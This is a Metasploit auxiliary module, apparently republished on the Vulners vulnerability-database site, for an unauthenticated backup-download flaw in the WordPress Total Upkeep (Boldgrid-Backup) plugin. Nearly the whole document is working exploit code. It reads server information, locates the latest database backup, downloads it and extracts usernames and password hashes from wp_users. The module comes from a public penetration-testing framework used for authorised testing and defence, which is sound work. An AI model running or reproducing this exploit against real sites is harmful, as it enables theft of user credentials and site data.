`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',
'Description' => %q{
This module exploits an unauthenticated database backup vulnerability in WordPress plugin
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
First, `env-info.php` is read to get server information. Next, `restore-info.json` is
read to retrieve the last backup file. That backup is then downloaded, and any sql
files will be parsed looking for the wp_users INSERT statement to grab user creds.
},
'References' => [
['EDB', '49252'],
['WPVDB', '10502'],
['WPVDB', '10503'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']
],
'Author' => [
'Wadeek', # Vulnerability discovery
'h00die' # Metasploit module
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2020-12-12',
'License' => MSF_LICENSE
)
)
end
def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end
checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of Boldgrid Backup was not found"
end
print_good("#{ip} - Vulnerable version of Boldgrid Backup detected")
print_status("#{ip} - Obtaining Server Info")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.server.info',
'text/json',
ip,
data,
'env-info.json'
)
print_good("#{ip} - File saved in: #{path}")
print_status("#{ip} - Obtaining Backup List from Cron")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.backup.info',
'text/json',
ip,
data,
'restore-info.json'
)
print_good("#{ip} - File saved in: #{path}")
unless data['filepath']
print_bad("#{ip} - no file found")
end
# pull a url from the local file system path
path = data['filepath'].sub(data['ABSPATH'], '')
print_status("#{ip} attempting download of #{path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
path = store_loot(
'boldgrid-backup.backup.zip',
'application/zip',
ip,
res.body,
path.split('/').last
)
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
Zip::File.open(path) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file
next unless entry.name.ends_with?('.sql')
print_status("#{ip} - Attempting to pull creds from #{entry}")
f = entry.get_input_stream.read
f.split("\n").each do |l|
next unless l.include?('INSERT INTO `wp_users` VALUES ')
columns = ['user_login', 'user_pass']
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
l.split('),(').each do |user|
user = user.split(',')
username = user[1].strip
username = username.start_with?("'") ? username.gsub("'", '') : username
hash = user[2].strip
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << [username, hash]
end
print_good(table.to_s)
end
end
end
print_status("#{ip} - finished processing backup zip")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation